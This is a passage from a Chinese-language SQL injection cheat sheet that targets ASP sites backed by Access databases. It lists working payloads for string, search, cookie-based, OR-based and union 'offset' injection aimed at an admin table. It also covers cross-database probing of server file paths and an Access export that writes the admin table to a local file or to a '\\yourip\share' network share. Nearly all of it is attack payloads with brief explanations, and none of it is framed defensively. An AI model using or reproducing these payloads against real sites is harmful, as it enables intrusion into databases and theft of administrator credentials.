op 1 abs(asc(min(user,1,1))) from admin)>10000
3.字符型注射:
' and exists(select count(*) from admin)>0 and ''='
其实就是把注射的语句 用 ' 闭合起来 跟数字型的没太大区别
4.
搜索型注射:
%’ and exists(select count(*) from admin)>0 and '%'='
也跟字符型的一样 没太大差别 也不多说
5.cookie注射:
比如有个注射点是guzi/guzi.asp?id=5
打开这个页面 然后把URL地址替换为javascript:alert(document.cookie="id="+escape("5 and 1=1"))回车;再在URL框内输入guzi/guzi.asp再次输入javascript:alert(document.cookie="id="+escape("5 and 1=2")) 刷新一下页面
这样我们就输入了一个and 1=1 和and 1=2 来判断 其他语句也就是在and 1=1 这里替换下我们要输入的语句
6. or语句注射:
or exists(select count(*) from admin)>0 返回错误的页面
or exists(select count(*) from admin1)>0 返回正常的页面
说明存在admin这个表 下面的语句其他都一样;把and 替换为or (就是返回的内容就是跟and注入语句相反)
7.偏移注射:
当我们猜不到列名的时候可以尝试偏移注射
and 1=2 union select 1,2,* from admin
and 1=2 union select 1,2,3,* from admin
这样一个个加直到爆出内容
如果字段内容不在里面 可以加字段
and 1=2 union se
lect 1,2,3,4,5,a.id,* from (admin as a inner join admin as b on a.id=b.id)
and 1=2 union select 1,2,3,4,5,6,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
8.SQL注入Access导出:
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin
在d:\
web目录下就会生成test.txt文件,其内容就是表admin的内容
这种方法目前好像利用不是很大;这能用“txt,scv,tab,asc,tmp,htm,html”这几种格式的文件
9.跨库
查询:
如果爆出来数据库路径 但是不能下载就可以用旁站的一个注射点来查看这个数据库里面的内容
先说下提示错误信息的意思
and (select count(*) from c:\guzi.asp)>0
提示找不到文件 说明存在一个c:盘 没有一个叫guzi.asp的文件
and (select count(*) from s:\guzi.asp)>0
提示不是一个有效路径 说明不存在S这个盘
and (select count(*) from c:\windows\notepad.exe.s)>0
提示不可识别的数据库格式 说明在c:\windows\目录下存在notepad.exe这个文件
下面来说些查看数据库里的内容
and (select count(*) from d:\www\1.mdb.admin)>0
页面正常返回 说明存在1.mdb库里存在admin这个表
and (select count(user) from d:\www\1.mdb.admin)>0
页面正常返回就说明存在这个d:\www\1.mdb.admin表里存在user这个列
下面的方法就跟上面一样:先猜解长度 然后提取第几位转换为ASCII值